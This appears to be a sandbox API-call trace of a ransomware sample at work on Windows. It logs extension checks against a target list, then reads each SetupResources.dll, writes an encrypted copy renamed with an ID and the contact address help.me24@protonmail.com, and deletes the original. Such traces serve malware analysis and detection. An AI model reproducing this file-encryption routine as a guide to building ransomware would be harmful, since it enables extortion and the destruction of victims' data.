	[0070.928] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0070.928] lstrlenW (lpString=".ppt") returned 4
	[0070.928] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.928] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.928] lstrlenW (lpString=".zip") returned 4
	[0070.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.928] lstrlenW (lpString=".rar") returned 4
	[0070.928] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.928] lstrlenW (lpString=".bz2") returned 4
	[0070.928] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.928] lstrlenW (lpString=".7z") returned 3
	[0070.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.929] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.929] lstrlenW (lpString=".dbf") returned 4
	[0070.929] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0070.929] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.929] lstrlenW (lpString=".1cd") returned 4
	[0070.929] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0070.929] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.929] lstrlenW (lpString=".jpg") returned 4
	[0070.929] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0070.973] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.973] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.973] lstrlenW (lpString=".doc") returned 4
	[0070.973] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.974] lstrlenW (lpString=".docx") returned 5
	[0070.974] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0070.974] lstrlenW (lpString=".pdf") returned 4
	[0070.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.974] lstrlenW (lpString=".xls") returned 4
	[0070.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.974] lstrlenW (lpString=".xlsx") returned 5
	[0070.974] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0070.974] lstrlenW (lpString=".ppt") returned 4
	[0070.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.974] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.974] lstrlenW (lpString=".zip") returned 4
	[0070.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.974] lstrlenW (lpString=".rar") returned 4
	[0070.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.974] lstrlenW (lpString=".bz2") returned 4
	[0070.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.974] lstrlenW (lpString=".7z") returned 3
	[0070.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.974] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.974] lstrlenW (lpString=".dbf") returned 4
	[0070.974] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.119] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0071.119] lstrlenW (lpString=".1cd") returned 4
	[0071.119] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.119] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0071.119] lstrlenW (lpString=".jpg") returned 4
	[0071.119] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.119] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.119] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.178] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19288) returned 1
	[0071.179] CloseHandle (hObject=0x2bc) returned 1
	[0071.179] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80
	[0071.179] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.179] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.179] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0071.320] GetLastError () returned 0x0
	[0071.320] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0071.344] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0071.347] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.347] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.347] SetEndOfFile (hFile=0x2b8) returned 1
	[0071.347] CloseHandle (hObject=0x2b8) returned 1
	[0071.349] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.349] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.350] CloseHandle (hObject=0x2bc) returned 1
	[0071.350] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.350] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1
	[0071.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.350] lstrlenW (lpString=".doc") returned 4
	[0071.350] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.350] lstrlenW (lpString=".docx") returned 5
	[0071.350] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.350] lstrlenW (lpString=".pdf") returned 4
	[0071.350] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.350] lstrlenW (lpString=".xls") returned 4
	[0071.350] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString=".xlsx") returned 5
	[0071.351] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.351] lstrlenW (lpString=".ppt") returned 4
	[0071.351] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.351] lstrlenW (lpString=".zip") returned 4
	[0071.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString=".rar") returned 4
	[0071.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString=".bz2") returned 4
	[0071.351] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.351] lstrlenW (lpString=".7z") returned 3
	[0071.351] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.351] lstrlenW (lpString=".dbf") returned 4
	[0071.351] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.351] lstrlenW (lpString=".1cd") returned 4
	[0071.351] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.351] lstrlenW (lpString=".jpg") returned 4
	[0071.351] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.351] lstrlenW (lpString=".doc") returned 4
	[0071.351] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString=".docx") returned 5
	[0071.351] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.351] lstrlenW (lpString=".pdf") returned 4
	[0071.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString=".xls") returned 4
	[0071.351] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.351] lstrlenW (lpString=".xlsx") returned 5
	[0071.351] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.352] lstrlenW (lpString=".ppt") returned 4
	[0071.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.352] lstrlenW (lpString=".zip") returned 4
	[0071.352] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.352] lstrlenW (lpString=".rar") returned 4
	[0071.352] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.352] lstrlenW (lpString=".bz2") returned 4
	[0071.352] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.352] lstrlenW (lpString=".7z") returned 3
	[0071.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.352] lstrlenW (lpString=".dbf") returned 4
	[0071.352] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.352] lstrlenW (lpString=".1cd") returned 4
	[0071.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0071.352] lstrlenW (lpString=".jpg") returned 4
	[0071.352] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.352] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.352] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.353] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=18776) returned 1
	[0071.353] CloseHandle (hObject=0x2bc) returned 1
	[0071.353] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80
	[0071.353] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.353] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.353] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.353] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.353] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0071.353] GetLastError () returned 0x0
	[0071.353] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0071.498] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0071.499] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.499] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.500] SetEndOfFile (hFile=0x2b8) returned 1
	[0071.500] CloseHandle (hObject=0x2b8) returned 1
	[0071.501] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.501] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.502] CloseHandle (hObject=0x2bc) returned 1
	[0071.502] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.502] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString=".doc") returned 4
	[0071.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString=".docx") returned 5
	[0071.503] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.503] lstrlenW (lpString=".pdf") returned 4
	[0071.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString=".xls") returned 4
	[0071.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString=".xlsx") returned 5
	[0071.503] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.503] lstrlenW (lpString=".ppt") returned 4
	[0071.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString=".zip") returned 4
	[0071.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString=".rar") returned 4
	[0071.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString=".bz2") returned 4
	[0071.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.503] lstrlenW (lpString=".7z") returned 3
	[0071.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString=".dbf") returned 4
	[0071.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString=".1cd") returned 4
	[0071.503] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString=".jpg") returned 4
	[0071.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.504] lstrlenW (lpString=".doc") returned 4
	[0071.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.504] lstrlenW (lpString=".docx") returned 5
	[0071.504] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.504] lstrlenW (lpString=".pdf") returned 4
	[0071.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.504] lstrlenW (lpString=".xls") returned 4
	[0071.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.504] lstrlenW (lpString=".xlsx") returned 5
	[0071.504] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.504] lstrlenW (lpString=".ppt") returned 4
	[0071.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.504] lstrlenW (lpString=".zip") returned 4
	[0071.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.504] lstrlenW (lpString=".rar") returned 4
	[0071.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.504] lstrlenW (lpString=".bz2") returned 4
	[0071.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.504] lstrlenW (lpString=".7z") returned 3
	[0071.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.504] lstrlenW (lpString=".dbf") returned 4
	[0071.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.504] lstrlenW (lpString=".1cd") returned 4
	[0071.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0071.504] lstrlenW (lpString=".jpg") returned 4
	[0071.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.505] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.505] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.505] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.505] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=15192) returned 1
	[0071.505] CloseHandle (hObject=0x2bc) returned 1
	[0071.505] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80
	[0071.505] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.505] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.505] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.505] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.505] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0071.506] GetLastError () returned 0x0
	[0071.506] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x3b58, lpOverlapped=0x0) returned 1
	[0071.629] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x3b60, lpOverlapped=0x0) returned 1
	[0071.630] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.630] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.631] SetEndOfFile (hFile=0x2b8) returned 1
	[0071.631] CloseHandle (hObject=0x2b8) returned 1
	[0071.632] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.632] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.633] CloseHandle (hObject=0x2bc) returned 1
	[0071.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.633] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1
	[0071.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.634] lstrlenW (lpString=".doc") returned 4
	[0071.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.634] lstrlenW (lpString=".docx") returned 5
	[0071.634] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.634] lstrlenW (lpString=".pdf") returned 4
	[0071.634] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.634] lstrlenW (lpString=".xls") returned 4
	[0071.634] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.634] lstrlenW (lpString=".xlsx") returned 5
	[0071.634] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.634] lstrlenW (lpString=".ppt") returned 4
	[0071.634] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.634] lstrlenW (lpString=".zip") returned 4
	[0071.634] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.634] lstrlenW (lpString=".rar") returned 4
	[0071.634] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.634] lstrlenW (lpString=".bz2") returned 4
	[0071.634] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.634] lstrlenW (lpString=".7z") returned 3
	[0071.634] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.634] lstrlenW (lpString=".dbf") returned 4
	[0071.634] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.634] lstrlenW (lpString=".1cd") returned 4
	[0071.634] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString=".jpg") returned 4
	[0071.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0071.635] lstrlenW (lpString=".doc") returned 4
	[0071.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString=".docx") returned 5
	[0071.635] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.635] lstrlenW (lpString=".pdf") returned 4
	[0071.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString=".xls") returned 4
	[0071.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.635] lstrlenW (lpString=".xlsx") returned 5
